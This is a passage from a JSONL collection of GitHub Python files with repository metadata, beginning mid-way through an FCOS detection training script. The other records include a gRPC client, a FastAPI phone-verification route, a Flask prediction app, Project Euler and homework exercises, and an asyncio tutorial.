_cx_int\n                    dcy = _cy - _cy_int\n\n                    target_list[j][2][batch_id, :, _cy_int, _cx_int] = 1\n                    target_list[j][0][batch_id, label, _cy_int, _cx_int] = 1\n                    target_list[j][1][batch_id, :, _cy_int, _cx_int] = torch.tensor([dcx, dcy,\n                                                                                     gt_w * width_ratio,\n                                                                                     gt_h * height_ratio],\n                                                                                    device=self.device)\n\n                    # target_list[j][1][batch_id, :, _cy_int, _cx_int] = torch.tensor([x1 * width_ratio,\n                    #                                                                  y1 * height_ratio,\n                    #                                                                  x2 * width_ratio,\n                    #                                                                  y2 * height_ratio],\n                    #                                                                 device=self.device)\n\n                    # 从输入图像映射到heatmap上\n                    _x1 = (x1 * width_ratio).floor().int().item()\n                    _x2 = (x2 * width_ratio).ceil().int().item()\n                    _y1 = (y1 * height_ratio).floor().int().item()\n                    _y2 = (y2 * height_ratio).ceil().int().item()\n\n                    for _y in range(_y1, _y2 + 1):\n                        y = int(stride / 2) + stride * _y  # 从heatmap 映射到 输入图像上\n                        t = y - y1\n                        b = y2 - y\n                        if min(t, b) < 0: continue  # 落在原始框外面\n                        max_val = max(t, b)\n                        if max_val < regress_ranges[j][0] or max_val > regress_ranges[j][1]: continue\n\n                        for _x in range(_x1, _x2 + 1):\n                            x = int(stride / 2) + stride * _x\n                            l = x - x1\n                            r = x2 - x\n                            # if min(l, r, t, b) < 0: continue  # 落在原始框外面\n                            if min(l, r) < 0: continue  # 落在原始框外面\n                            max_val = max(l, r, t, b)\n                            if max_val < regress_ranges[j][0] or max_val > regress_ranges[j][1]: continue\n\n                            # centerness = math.sqrt(min(l, r) / max(l, r) * min(t, b) / max(t, b))\n                            centerness = min(l, r) / max(l, r) * min(t, b) / max(t, b)\n                            centerness *= 0.6\n                            if target_list[j][2][batch_id, :, _y, _x] >= centerness: continue\n                            target_list[j][2][batch_id, :, _y, _x] = centerness\n\n                            if not only_center:\n                                dcx = _cx - _x\n                                dcy = _cy - _y\n                                target_list[j][0][batch_id, label, _y, _x] = 1\n                                target_list[j][1][batch_id, :, _y, _x] = torch.tensor([dcx, dcy,\n                                                                                       gt_w * width_ratio,\n                                                                                       gt_h * height_ratio],\n                                                                                      device=self.device)\n\n        return target_list\n\n    def train_step(self, batch, step):\n        imgs, targets = batch\n        imgs = torch.stack(imgs, 0).to(self.device)\n\n        # 混合精度训练上下文管理器，如果在CPU环境中不起任何作用\n        with torch.cuda.amp.autocast(self.use_amp):\n            cls_preds, reg_preds, centerness_preds = self.model(imgs)\n\n        # get_target\n        # target\n        feat_shape = [centerness_pred.shape[-2:] for centerness_pred in centerness_preds]\n        target_result = self.get_targets(imgs, targets, feat_shape)\n\n        # loss\n        loss_center_heatmap = Variable(torch.zeros(1, device=self.device), requires_grad=True)\n        loss_cls = Variable(torch.zeros(1, device=self.device), requires_grad=True)\n        loss_reg = Variable(torch.zeros(1, device=self.device), requires_grad=True)\n\n        for i in range(len(feat_shape)):\n            cls_target, reg_target, centerness_target = target_result[i]\n            avg_factor = max(1, (centerness_target == 1).sum())\n            # GaussianFocalLoss 不会自动添加 sigmoid，需要手动添加\n            loss_center_heatmap = loss_center_heatmap + GaussianFocalLoss()(centerness_preds[i].sigmoid(),\n                                                                            centerness_target,\n                                                                            avg_factor=avg_factor)\n\n            if only_center:\n                weight = (centerness_target == 1).float().expand_as(cls_target)\n                if weight.sum() > 0:\n                    # CrossEntropyLoss(True) 会自动添加 sigmoid，不需要手动添加\n                    loss_cls = loss_cls + CrossEntropyLoss(True)(cls_preds[i], cls_target,  # .sigmoid()\n                                                                 weight,\n                                                                 avg_factor=avg_factor)\n\n                    weight = (centerness_target == 1).float().expand_as(reg_target)\n                    # loss_reg = loss_reg + GIoULoss()(reg_preds[i].exp().permute(0, 2, 3, 1).contiguous().view(-1, 4),\n                    #                                  reg_target.permute(0, 2, 3, 1).contiguous().view(-1, 4),\n                    #                                  weight.permute(0, 2, 3, 1).contiguous().view(-1, 4),\n                    #                                  avg_factor=avg_factor)\n\n                    loss_reg = loss_reg + L1Loss()(reg_preds[i], reg_target, weight, avg_factor=avg_factor)\n            else:\n                weight = (centerness_target > 0.1).float().expand_as(cls_target)\n                if weight.sum() > 0:\n                    # CrossEntropyLoss(True) 会自动添加 sigmoid，不需要手动添加\n                    loss_cls = loss_cls + CrossEntropyLoss(True)(cls_preds[i], cls_target,  # .sigmoid()\n                                                                 weight,\n                                                                 avg_factor=avg_factor)\n\n                    weight = (centerness_target > 0.1).float().expand_as(reg_target)\n                    loss_reg = loss_reg + L1Loss()(reg_preds[i], reg_target, weight, avg_factor=avg_factor)\n\n        return dict(\n            loss_center_heatmap=loss_center_heatmap,\n            loss_cls=loss_cls,\n            loss_box_reg=loss_reg)\n\n    @torch.no_grad()\n    def pred_step(self, img, iou_threshold, conf_threshold, scale_factors, padding, in_shape, with_nms):\n        cls_preds, reg_preds, centerness_preds = self.model(img)\n        boxes_list, scores_list, labels_list = [], [], []\n        for i in range(len(centerness_preds)):\n            centerness_pred = centerness_preds[i].sigmoid()\n            cls_pred = cls_preds[i].sigmoid()\n            reg_pred = reg_preds[i]  # .exp()\n            wh_pred, offset_pred = reg_pred[:, 2:], reg_pred[:, :2]\n            boxes, scores, labels = get_bboxesv2(centerness_pred, cls_pred, wh_pred, offset_pred, with_nms,\n                                                 iou_threshold, conf_threshold, scale_factors, padding, in_shape)\n            boxes_list.append(boxes)\n            scores_list.append(scores)\n            labels_list.append(labels)\n\n        boxes_list = torch.cat(boxes_list, 0)\n        scores_list = torch.cat(scores_list, 0)\n        labels_list = torch.cat(labels_list, 0)\n\n        # nms\n        keep = batched_nms(boxes_list, scores_list, labels_list, iou_threshold)\n        boxes, scores, labels = boxes_list[keep], scores_list[keep], labels_list[keep]\n\n        return boxes, scores, labels\n\n    @torch.no_grad()\n    def evalute_step(self, batch, step, iou_threshold, conf_threshold, scale_factors, padding, in_shape, with_nms):\n        imgs, targets = batch\n        imgs = torch.stack(imgs, 0).to(self.device)\n        in_shape = imgs.shape[-2:]\n\n        cls_preds, reg_preds, centerness_preds = self.model(imgs)\n        boxes_list, scores_list, labels_list = [], [], []\n        for i in range(len(centerness_preds)):\n            centerness_pred = centerness_preds[i].sigmoid()\n            cls_pred = cls_preds[i].sigmoid()\n            reg_pred = reg_preds[i]  # .exp()\n            wh_pred, offset_pred = reg_pred[:, 2:], reg_pred[:, :2]\n            boxes, scores, labels = get_bboxesv2(centerness_pred, cls_pred, wh_pred, offset_pred, with_nms,\n                                                 iou_threshold, conf_threshold, scale_factors, padding, in_shape, False)\n            boxes_list.append(boxes)\n            scores_list.append(scores)\n            labels_list.append(labels)\n\n        boxes_list = torch.cat(boxes_list, 0)\n        scores_list = torch.cat(scores_list, 0)\n        labels_list = torch.cat(labels_list, 0)\n\n        # nms\n        keep = batched_nms(boxes_list, scores_list, labels_list, iou_threshold)\n        boxes, scores, labels = boxes_list[keep], scores_list[keep], labels_list[keep]\n\n        return boxes, scores, labels\n\n\nnetwork = Fcos(model, num_classes, resize, anchors, strides, epochs, lr, weight_decay, lrf, warmup_iters=1000,\n               gamma=0.5, optimizer=None, scheduler=None, use_amp=use_amp, accumulate=accumulate,\n               gradient_clip_val=gradient_clip_val, device=device, criterion=None,\n               train_dataloader=train_dataLoader, val_dataloader=val_dataLoader)\n\n# network.statistical_parameter()\n# exit(-1)\n# -----------------------fit ---------------------------\nnetwork.fit()\n# -----------------------eval ---------------------------\n# network.evalute(mode='mmdet', conf_threshold=0.1)\n# -----------------------predict ---------------------------\nnetwork.predict(glob_format(dir_data), test_transforms, device, visual=False,\n                conf_threshold=0.1, with_nms=True, method=method)\n","repo_name":"wucng/toolcv","sub_path":"toolcv/api/define/example/detecte/fcos/fcos_ms.py","file_name":"fcos_ms.py","file_ext":"py","file_size_in_byte":18131,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"38658341668","text":"\nimport os.path\nimport time\nimport base64\nimport json\nimport sys\nfrom rq import Queue\nfrom queue.worker import conn\nfrom queue.utils import calling_frameAnalysis\nfrom library.scene import CompareImage\ndef FrameCapture(q,camara):\n\n    count = 1\n    success = 1\n    path=\"/home/ubuntu/proyectos/microservicePlatanitos/pictures/\"\n\n    while(success):\n\n        file = path+camara+\"/\"+\"img\"+str(count)+'.jpg';\n        nameFile = \"img\"+str(count)+'.jpg';\n\n        if count > 1:\n            pastFile = path+camara+\"/\"+\"img\"+str(count-1)+'.jpg';\n\n        #print(\"Analizando el file: \",file)\n\n        while not os.path.exists(file):\n            time.sleep(1)\n            print(\"No encuentra file: \",file)\n\n        if os.path.isfile(file):\n\n            diff = float(1)\n\n            if count > 1:\n                diff = CompareImage(file,pastFile).compare_image()\n                #print(\"diff: \",diff)\n\n            if float(diff) >= 0.05:\n\n                #print(\"Analizara imagen: \", file)\n                with open(file, 'rb') as image:\n                    free = bytearray(image.read())\n\n                base64String = base64.b64encode(free);\n\n                data = {\"dataBytes\": str(base64String)[2:][:-1],\n                        \"frame\": nameFile,\n                        \"camara\": camara}\n\n                sale = q.enqueue(calling_frameAnalysis, data)\n                #print(sale)\n\n            if(count>3):\n                print(\"Se removio: \",count)\n                file2 = path+camara+\"/\"+\"img\"+str(count-2)+'.jpg';\n                #os.remove(file2)\n\n            count += 1\n\n        else:\n            raise ValueError(\"%s isn't a file!\" % file)\n\n\nif __name__ == '__main__':\n\n    camera=sys.argv[1]\n    print(camera)\n    q = Queue(connection=conn)\n    q.empty()\n    FrameCapture(q,camera)\n","repo_name":"clara081094/refactoredRekognition","sub_path":"readFrame/streamCatch.py","file_name":"streamCatch.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"75079179129","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as colors\nimport numpy as np\n\ndata = pd.read_csv(\"FinalData\\Data2018.csv\")\n\n\nprint(data[\"POSTCODE_TOT\"])\n\nfig = plt.figure()\nax = fig.add_subplot(111)\n\nfor i in range(16549):\n    if data[\"longitude\"][i] < 52.424294 and data[\"longitude\"][i] > 52.318159:\n        if data[\"latitude\"][i] > 4.812657 and data[\"latitude\"][i] < 4.988321:\n            x, y, = [], []\n            y.append(data[\"longitude\"][i])\n            x.append(data[\"latitude\"][i])\n            ax.plot(x, y, marker = '.', markersize = '0.3', linestyle='None', color = \"red\")\n        \nx0, x1 = ax.get_xlim()\ny0, y1 = ax.get_ylim()\nimg = plt.imread(\"amsterdamhdmap.png\")\nax.imshow(img, extent = [x0, x1, y0, y1], aspect = \"auto\", zorder = 0)\nplt.savefig(\"testplot.png\", dpi = 900)","repo_name":"dylanprins/dylanprins.github.io","sub_path":"Code/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33428519107","text":"from enum import Enum\n\nfrom drivers import Driver, Human, Robot\nfrom engines import Engine\n\n\nclass Transport:\n    def __init__(self, engine_type: str, driver: Driver):\n        self.engine = Engine.create_engine(engine_type)\n        self.driver = driver\n\n    def deliver(self, destination: str, cargo: str):\n        print(f\"The transport needs to move to {destination} to deliver {cargo}...\")\n        self.driver.navigate()\n        self.engine.move()\n\n\nif __name__ == \"__main__\":\n    driver = Robot()\n    transport = Transport(\"electric\", driver)\n    transport.deliver(\"Osaka\", \"Beer\")\n","repo_name":"Neykah/design_patterns_python","sub_path":"various_modules/transport/transport.py","file_name":"transport.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19000900362","text":"#!/usr/bin/python3\n\"\"\"\nThis module contains a function that prints a\ntext with 2 new lines after each of these characters: ., ? and :\n\"\"\"\n\n\ndef text_indentation(text):\n    \"\"\"\n    This function prints a text with 2\n    new lines after each of these characters: ., ? and :\n    Args:\n        text (str): text to print\n    Returns:\n        Nothing\n    Raises:\n        TypeError: text must be a string\n    \"\"\"\n    if not isinstance(text, str):\n        raise TypeError(\"text must be a string\")\n    for i in range(len(text)):\n        if text[i] in ['.', '?', ':']:\n            print(text[i])\n            print()\n        elif text[i] == ' ' and text[i - 1] in ['.', '?', ':']:\n            continue\n        else:\n            print(text[i], end='')\n","repo_name":"AngelJCT/holbertonschool-higher_level_programming","sub_path":"python-test_driven_development/5-text_indentation.py","file_name":"5-text_indentation.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"71634625530","text":"# solution to exercise 4: functions\r\n\r\ndef maxAndMin():\r\n    '''\r\n    ask the user for 3 numbers and print the max and min\r\n    input: nothing\r\n    output (return): nothing\r\n    '''\r\n    n1 = int(input(\"Enter first number: \"))\r\n    n2 = int(input(\"Enter second number: \"))\r\n    n3 = int(input(\"Enter third number: \"))\r\n\r\n    print(\"The max is\", max(n1, n2, n3))\r\n    print(\"The min is\", min(n1, n2, n3))\r\n    # or, in one line:\r\n    # print(\"The max is\", max(n1, n2, n3), \"and the min is\", min(n1, n2, n3))\r\n    \r\n\r\ndef calcProduct(num1, num2):\r\n    '''\r\n    calculate the product of the 2 input\r\n    input: 2 numbers\r\n    return: product\r\n    '''\r\n    product = num1 * num2\r\n    return product\r\n    # or, in one line:\r\n    # return num1 * num2\r\n\r\n\r\n\r\n# driver code to call the functions and run them\r\n# run first function\r\nmaxAndMin()\r\n\r\n# set variables to 5 and 8\r\nn1 = 5\r\nn2 = 8\r\n# call calcProduct and save return value (output) in a variable to print\r\nproduct = calcProduct(n1, n2)\r\nprint(n1, \"*\", n2, \"=\", product)\r\n\r\n\r\n","repo_name":"tonyxiahua/PythonInstructions","sub_path":"exercise4.py","file_name":"exercise4.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"2080776151","text":"import re\r\n\r\ndef open1():\r\n    with open ('f.html', 'r', encoding = 'utf-8') as t:\r\n        text = t.read()\r\n    return text\r\n\r\ndef resub():\r\n    text = open1()\r\n    lang = '(философ)(и(и|й|е)?|у|ям|й|ю|ях|я)?(\\s|\\.| |\\?|\\'|,|-|\"|»|!|\\(|\\)|;|:)'\r\n    Lang = '(Философ)(и(и|й|е)?|у|ям|й|ю|ях|я)?(\\s|\\.| |\\?|\\'|,|-|\"|»|!|\\(|\\)|;|:)'\r\n    langg ='(философск)(ие|ое|ой|ие|ими|им|й|еих|им|ио|йа|ие|ую|е|ям|ий|ю|ях|им|я|ий)?(\\s|\\.| |\\?|\\'|,|-|\"|»|!|\\(|\\)|;|:)'\r\n    langgg ='(Философск)(ие|ое|ая|й|е|ие|ими|им|ой|их|им|ио|йа|ие|ую|е|ям|ий|ю|ях|им|я|ий)?(\\s|\\.| |\\?|\\'|,|-|\"|»|!|\\(|\\)|;|:)'\r\n    langggg ='(философы)(<)?'\r\n\r\n    l = re.search(lang, text)\r\n    L = re.search(Lang, text)\r\n    ll = re.search(langg, text)\r\n    b = re.search(langgg, text)\r\n    a = re.search(langggg, text)\r\n    if re.search(lang, text):\r\n        text = re.sub(l.group(1), 'астролог', text)\r\n    if re.search(Lang, text):\r\n        text = re.sub(L.group(1), 'Астролог', text)\r\n    if re.search(langg, text):\r\n        text = re.sub(ll.group(1), 'астрологическ', text)\r\n    if re.search(langgg, text):\r\n        text = re.sub(b.group(1), 'Астрологическ', text)\r\n    if re.search(langggg, text):\r\n        text = re.sub(a.group(1), 'астрологи', text)\r\n  \r\n    return text\r\n\r\ndef main():\r\n    text = resub()\r\n    with open ('newlingua.html', 'w', encoding = 'utf-8') as t:\r\n        t.write(text)\r\nmain()\r\n","repo_name":"Alex9823/hw","sub_path":"HW13/HW13.py","file_name":"HW13.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18322665280","text":"import os\nimport logging\n\nimport grpc\n\nfrom grpc_src.example_pb2 import Param\nfrom grpc_src.example_pb2_grpc import FuncStub\n\nlogging.basicConfig(\n    level=logging.DEBUG,\n    format='[%(asctime)s %(levelname)s] %(message)s',\n    datefmt='%Y%m%d %H:%M:%S'\n)\n\nURL = f'{\"proxy\" if os.environ.get(\"IN_CONTAINER\", False) else \"localhost\"}:8070'\n\nparams = [\n    Param(x=1, y=3, z=5),\n    Param(x=2, y=4, z=6),\n    Param(x=-1, y=-3, z=-5),\n    Param(x=-2, y=-4, z=-6),\n]\n\ndef test_simple():\n    with grpc.insecure_channel(URL) as channel:\n        stub = FuncStub(channel)\n        res = stub.Simple(Param(x=1, y=3, z=5))\n        logging.info(f'[simple] resp:{res.value}')\n\ndef test_stream_resp():\n    with grpc.insecure_channel(URL) as channel:\n        stub = FuncStub(channel)\n        for res in stub.StreamResp(Param(x=1, y=3, z=5)):\n            logging.info(f'[stream-resp] resp:{res.value}')\n\ndef test_stream_req():\n    with grpc.insecure_channel(URL) as channel:\n        stub = FuncStub(channel)\n        res = stub.StreamReq(iter(params))\n        logging.info(f'[stream-req] resp:{res.value}')\n\ndef test_bistream():\n    with grpc.insecure_channel(URL) as channel:\n        stub = FuncStub(channel)\n        for res in stub.BiStream(iter(params)):\n            logging.info(f'[bistream] resp:{res.value}')\n\n\nif __name__ == '__main__':\n    test_simple()\n    test_stream_req()\n    test_stream_resp()\n    test_bistream()\n","repo_name":"evadcmd/gRPC-stream-sample","sub_path":"grpc_example/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72584735610","text":"import secrets\nimport string\nfrom datetime import datetime, timedelta\n\nfrom redis_om import NotFoundError\n\nfrom pydantic.main import BaseModel\nfrom pydantic import constr\n\nfrom tortoise.transactions import in_transaction\n\nfrom fastapi import APIRouter, BackgroundTasks\nfrom fastapi.requests import Request\n\nfrom user.tasks.send_verify_code_sms import task as send_sms_task\nfrom user.db.redis.keys import Step as StepCache\n\nfrom common.db.redis.keys import RedisType\nfrom common.db.rdb.schema import Error\nfrom common.db.mongodb.documents import TTLData, TTLTypeEnum\n\nfrom common.tasks.redis import set_cache\nfrom common.models import ResponseOK\nfrom common.config.settings import conf\nfrom common.config.consts import PHONE_VERIFY_CODE_REGEX\nfrom common.utils.mongo_utils import get_or_none\nfrom common.utils.exceptions import (\n    TooManyRequestVerify, VerifyMsgNotFound, StepNotFound, InvalidData\n)\n\n\nrouter = APIRouter()\n\n\n@router.get('', summary='휴대전화 인증번호 요청 API', response_model=ResponseOK)\nasync def get_verify_code_v1(request: Request, background_tasks: BackgroundTasks):\n    '''\n    # Auther\n    - [Yongineer1990](https://github.com/Yongineer1990)\n\n    # Description\n    - 휴대전화 인증번호 요청 API\n    - 로그인 필요 (Headers.Authorization)\n\n    # Error\n    - 4000005 : 요청 횟수 초과 (5분 내 5회 시도)\n    '''\n    user = request.state.user\n\n    if not user.phone:\n        e = await Error.get(code='4000007')\n        raise InvalidData(e=e)\n\n    if get_or_none(TTLData, ttl_type=TTLTypeEnum.BLOCK, phone=user.phone):\n        e = await Error.get(code='4000005')\n        raise TooManyRequestVerify(e=e)\n\n    verify_code = ''.join(secrets.choice(string.digits) for _ in range(6))\n\n    TTLData.objects.create(\n        ttl_type=TTLTypeEnum.VERIFIED_PHONE,\n        expired_at=datetime.utcnow() + timedelta(minutes=3),\n        verify_code=verify_code,\n        phone=user.phone\n    )\n\n    if 5 <= TTLData.objects.filter(ttl_type=TTLTypeEnum.VERIFIED_PHONE, phone=user.phone).count():\n        TTLData.objects.create(\n            ttl_type=TTLTypeEnum.BLOCK,\n            expired_at=datetime.utcnow() + timedelta(minutes=5),\n            phone=user.phone\n        )\n\n    if not (conf().DEBUG or conf().TEST_MODE):\n        background_tasks.add_task(send_sms_task, user=user, verify_code=verify_code)\n\n    return ResponseOK()\n\n\nclass VerifyPhoneReqeust(BaseModel):\n    verify_code: constr(regex=PHONE_VERIFY_CODE_REGEX)\n\n\n@router.post('', summary='휴대전화 인증번호 확인 API', status_code=200, response_model=ResponseOK)\nasync def confirm_verify_code_v1(request: Request, background_tasks: BackgroundTasks, data: VerifyPhoneReqeust):\n    '''\n    # Auther\n    - [Yongineer1990](https://github.com/Yongineer1990)\n\n    # Description\n    - 휴대전화 인증번호 확인 API\n    - 로그인 필요 (Headers.Authorization)\n\n    # Error\n    - 4040002 : Step 데이터가 없음\n    - 4040003 : 인증번호 메시지가 없음\n\n    # Request Body\n    - verify_code: str = 인증번호\n        - regex = ^[0-9]{6}$\n    '''\n\n    user = request.state.user\n\n    received = (TTLData.objects\n                .filter(ttl_type=TTLTypeEnum.VERIFIED_PHONE, phone=user.phone)\n                .order_by('-created_at')\n                .first())\n\n    if not received:\n        e = await Error.get(code = '4040003')\n        raise VerifyMsgNotFound(e=e)\n\n    step = await user.step\n\n    if not step:\n        e = await Error.get(code='4040002')\n        raise StepNotFound(e=e)\n\n    if data.verify_code == received.verify_code:\n        async with in_transaction():\n            user.is_verified_phone = True\n            await user.save()\n\n            step.step_1 = True\n            await step.save()\n\n        (TTLData.objects\n         .filter(ttl_type__in=[TTLTypeEnum.VERIFIED_PHONE, TTLTypeEnum.BLOCK], phone=user.phone)\n         .delete())\n\n    try:\n        cached_step = StepCache.get(pk=f'{user.user_key}#{RedisType.STEP}')\n        cached_step.update(step_1=1)\n\n    except NotFoundError:\n        background_tasks.add_task(\n            set_cache,\n            StepCache,\n            pk=f'{user.user_key}#{str(RedisType.STEP)}',\n            expired=60 * 30,\n            **step.to_redis\n        )\n\n    return ResponseOK()\n","repo_name":"online-blacksmiths/rocket_uppercut_backend","sub_path":"user/routes/verify_phone.py","file_name":"verify_phone.py","file_ext":"py","file_size_in_byte":4249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17168294888","text":"import pandas as pd\nimport numpy as np\nimport pickle\nfrom flask import Flask, request, url_for, redirect, render_template, jsonify\nfrom pycaret.classification import *\n\napp = Flask(__name__)\n\nmodel = load_model('deploy_powerplant-mini') \ncolumns = ['WeekDay', 'Period', 'NSW_Price', 'NSW_Demand', 'Vic_Price', 'VIC_Demand', 'Transfer']\n\n@app.route('/')\ndef PPP():\n    return render_template(\"PPP.html\")\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n    data_unseen = pd.DataFrame([np.array([x for x in request.form.values()])], columns=columns)\n    prediction1 = predict_model(model, data=data_unseen)\n    prediction1 = int(prediction1.Label[0])\n    if prediction1 == 1 :\n        prediction = 'UP'\n    else :\n        prediction = 'DOWN'  \n    return render_template('PPP.html', pred='Predicted Functioning Status of the Power-Plant : {}'.format(prediction))\n\n@app.route('/predict_api',methods=['POST'])\ndef predict_api():\n    data = request.get_json(force=True)\n    data_unseen = pd.DataFrame([data])\n    prediction1 = predict_model(model, data=data_unseen)\n    prediction1 = int(prediction1.Label[0])\n    if prediction1 == 0 :\n        prediction = 'UP'\n    else :\n        prediction = 'DOWN' \n    output = prediction\n    return jsonify(output)\n\nif __name__ == '__main__':\n    app.run(debug=True)","repo_name":"prateek025/heroku-ppp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74061900089","text":"a = int(input(''))\ndirction = int(input(''))\ndit_list = [[0,-1],[-1,0],[0,1],[1,0]]  #(left,up, down,  right) = (0,1,2,3) => (left, up, right, down) = (,0,1,3,2)\n\"\"\"\nthinking\n\nlurd\nurdl\nrdlu\ndlur\n  => dlur = lurd = urdl = rdlu\n  => 2013 = 0132  = \n\"\"\"\narr = []\ntemp = []\nfor i in range(a):\n    temp = [int(i) for i in input('').split(' ')]\n    arr.append(temp)\n\nnumdirx, numdiry = a // 2, a // 2\nstep = 0 #\nlimit = 1 #同方向要走幾步\nans = ''\n'''\n兩個方向後同方向步數加一\n1.轉彎的時間\n2.加步數的時間\n'''\ny = 0\nwhile True:\n    if y == a**2:\n        break\n    else:\n        for j in range(2):\n            for k in range(limit):\n                if y == a**2:\n                    break\n                else:\n                    x = arr[numdirx][numdiry]\n                    y += 1\n                    ans += str(x)\n                    numdirx += dit_list[dirction][0]\n                    numdiry += dit_list[dirction][1]\n            dirction = (dirction + 1) % 4\n        limit += 1\nprint(ans)","repo_name":"bochainwu/APCS-record","sub_path":"1063/10633.py","file_name":"10633.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"28241456667","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nA natural number, N, that can be written as the sum and product of a given set of at least two natural numbers, {a_1,\na_2, ..., a_k} is called a product-sum number: N = a_1 + a_2 + ... + a_k = a_1 × a_2 × ... × a_k.\n\nFor example, 6 = 1 + 2 + 3 = 1 × 2 × 3.\n\nFor a given set of size, k, we shall call the smallest N with this property a minimal product-sum number. The minimal\nproduct-sum numbers for sets of size, k = 2, 3, 4, 5, and 6 are as follows.\n\nk=2: 4 = 2 × 2 = 2 + 2\nk=3: 6 = 1 × 2 × 3 = 1 + 2 + 3\nk=4: 8 = 1 × 1 × 2 × 4 = 1 + 1 + 2 + 4\nk=5: 8 = 1 × 1 × 2 × 2 × 2 = 1 + 1 + 2 + 2 + 2\nk=6: 12 = 1 × 1 × 1 × 1 × 2 × 6 = 1 + 1 + 1 + 1 + 2 + 6\n\nHence for 2≤k≤6, the sum of all the minimal product-sum numbers is 4+6+8+12 = 30; note that 8 is only counted once in\nthe sum.\n\nIn fact, as the complete set of minimal product-sum numbers for 2≤k≤12 is {4, 6, 8, 12, 15, 16}, the sum is 61.\n\nWhat is the sum of all the minimal product-sum numbers for 2≤k≤12000?\n\"\"\"\n\n# Our algorithm is as follows:\n# For each k from 2 to 12000, we compute the minimum product-sum number using 2 to k non-1 numbers in the list.\n# For each number of non-1 numbers, we start with all 2s, increment the last number until their product >= their sum.\n# When this occurs, we check if product == sum. We then increment the number before the most recently incremented\n# number; if this would result in incrementing the -1st number, we exit. This process repeats until we increment the\n# 0th number and find that it is too large. When incrementing a number, we also set each number after that to the\n# incremented number.\n# This solution runs in ~10 minutes.\n\ndef product(seq):\n  result = 1\n  for x in seq:\n    result *= x\n  return result\n\ndef minimal_product_sum_partial(k, non_1, min_found):\n  ones = k - non_1\n  numbers = [2] * non_1\n  last_idx_incremented = 0\n  first_overall = True\n  \n  while True:\n    sum_ = sum(numbers) + ones\n    prod = product(numbers)\n    \n    while prod < sum_ and (min_found is None or (sum_ < min_found and prod < min_found)):\n      numbers[-1] += 1\n      first_overall = False\n      last_idx_incremented = non_1 - 1\n      \n      sum_ = sum(numbers) + ones\n      prod = product(numbers)\n    \n    if sum_ == prod and (min_found is None or sum_ < min_found):\n      min_found = sum_\n    elif first_overall:\n      raise StopIteration\n    \n    to_reset_to = last_idx_incremented - 1\n    if to_reset_to < 0:\n      return min_found\n    \n    numbers[to_reset_to] += 1\n    for i in range(to_reset_to + 1, non_1):\n      numbers[i] = numbers[to_reset_to]\n    last_idx_incremented = to_reset_to\n\ndef minimal_product_sum(k):\n  min_found = None\n  try:\n    for non_1 in range(2, k + 1):\n      min_found = minimal_product_sum_partial(k, non_1, min_found)\n  except StopIteration:\n    pass\n  return min_found\n\nprint(sum(set(map(minimal_product_sum, range(2, 12001)))))\n","repo_name":"ryandancy/project-euler","sub_path":"problem88.py","file_name":"problem88.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10573662986","text":"import asyncio\nimport aiohttp\nfrom aiohttp import ClientSession\nfrom util import async_timed\n\n\n# Описанный подход в 22.py позволяет реагировать, как только завершится первая задача.\n# Но что, если мы хотим обработать и остальные результаты по мере поступления, как при использовании as_completed?\n# Предыдущий пример легко можно модифицировать, так чтобы задачи из множества pending обрабатывались в цикле, пока там ничего не\n# останется. Тогда мы получим поведение, аналогичное as_completed, с тем дополнительным преимуществом, что на каждом шаге точно\n# знаем, какие задачи завершились, а какие еще работают.\n\nasync def fetch_status(session: ClientSession, url: str):\n    async with session.get(url) as result:\n        return result.status\n\n\n\n@async_timed()\nasync def main():\n    async with aiohttp.ClientSession() as session:\n        url = 'https://www.example.com'\n\n        pending = [\n            asyncio.create_task(fetch_status(session, url)),\n            asyncio.create_task(fetch_status(session, url)),\n            asyncio.create_task(fetch_status(session, url)),\n        ]\n\n        while pending:\n            done, pending = await asyncio.wait(pending,\n                                               return_when=asyncio.FIRST_COMPLETED)\n\n            print(f'Число завершившихся задач: {len(done)}')\n            print(f'Число ожидающих задач: {len(pending)}')\n\n            for done_task in done:\n                print(await done_task)\n\nasyncio.run(main())\n\n\n# Здесь мы создаем множество pending и инициализируем его задачами, которые хотим выполнить.\n# Цикл while выполняется, пока в pending остаются элементы, и на каждой итерации мы вызываем\n# wait для этого множества. Получив результат от wait, мы обновляем\n# множества done и pending, а затем печатаем завершившиеся задачи.\n# Получается поведение, похожее на as_completed, с тем отличием, что\n# теперь мы лучше знаем, какие задачи завершились, а какие продолжают работат","repo_name":"NikitaRadionov/asyncio_learning","sub_path":"23.py","file_name":"23.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
